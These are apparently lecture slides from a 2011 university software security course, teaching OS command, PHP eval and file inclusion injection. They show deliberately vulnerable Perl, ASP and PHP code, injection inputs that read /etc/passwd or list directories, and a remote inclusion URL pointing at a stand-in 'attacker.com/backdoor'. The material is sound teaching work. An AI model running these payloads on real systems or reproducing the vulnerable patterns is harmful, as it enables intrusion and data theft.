Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011

Outline  Today we will have Adam presenting how to attack authentications (Ch6)  Before his presentation, I will continue Command Injections (Ch9), and also I will present my recent research on how to prevent and remove injection vulnerabilities  The rest of your presentations have been scheduled. Please check the course web page and plan ahead. Let me know if you have any question.  The course website : 

Injecting Code II Chapter 9 The Web Application Hacker’s Handbook

Interpreted Languages  Recall that an interpreted language is one whose execution involved a runtime component that interprets the code of the language and carries out the instructions that it contains  For example, SQL, Perl, ASP, PHP, etc.

Interpreted Languages  In most applications, the code processed by the interpreter is a mix of instructions written by a programmer and data supplied by a user.  An attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language.

Command Injection Attacks  Main problem: Incorrect or completely lack of validation of user input that results in the execution of commands on the server  We have discussed SQL injections last week. Today we will discuss OS command, Web scripting language, SOAP and SMTP injection attacks.

OS command: Injecting via Perl  Consider a Perl CGI Code that allows administrators to specify a directory and view a summary of its disk usages #!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print header, start_html(“”); print “ ”; my $command = “du -h --exclude php* /var/www/html”; $command= $command.param(“dir”); $command=`$command`; print “$command\n”; print end_html;

 When used as intended:

Injecting via Perl  “|” is used to redirect the output of a process to the input of another process  This enables multiple commands to be chained together

 Inject code: (cat /etc/passwd)

OS Command: Injecting via ASP  Consider an ASP code that allows administrators to view the contents of a requested log file  type the log file  cmd executes the command <% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”) szCMD = “type c:\inetpub\wwwroot\logs\“ & Request.Form(“FileName”) szTempFile = “C:\“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %>

 When used as intended: (submit last5.log)

 Use && to batch multiple commands together  Last5.log && dir c:\

Dynamic Execution Vulnerabilities  The PHP function eval() is used to dynamically execute code that is passed to the function at runtime  Consider a search function that enables users to create stored searches:  The server side implementation:  creating a mysearch variable with the value wahh app.com/search.php?storedsearch=\$myse arch%3dwahh $storedsearch = $_GET[‘storedsearch’]; eval(“$storedsearch;”);

Dynamic execution in PHP  The semicolon character can be used to batch commands together in a single parameter.  For example, to retrieve the contents of the file /etc/password, you could use either the file_get_contentsor the system command: app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20echo%20file_get_contents(‘/etc/passwd’) app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20system(‘cat%20/etc/passwd’)

File Inclusion Attacks  Consider an application that delivers different content to people in different locations  A request looks like:  The application processes as follows: $country = $_GET[‘Country’]; include( $country. ‘.php’ );

File Inclusion Attacks  If the request has been intercepted:  The sever side may include an arbitrary remote file app.com/main.php?Country= attacker.com/backdoor $country = $_GET[‘Country’]; include( );

Quiz  What’s the main cause of injection vulnerabilities?  How to prevent injection vulnerabilities?  Let’s talk a little bit about Stranger

Next week  We will have Juilette presenting Attacking Session Management (Chapter 7), Jorina presenting Attacking Access Controls (Chapter 8)  We will also have Hsing Hunag presenting Burp Suite, a tool set for analyzing and attacking web applications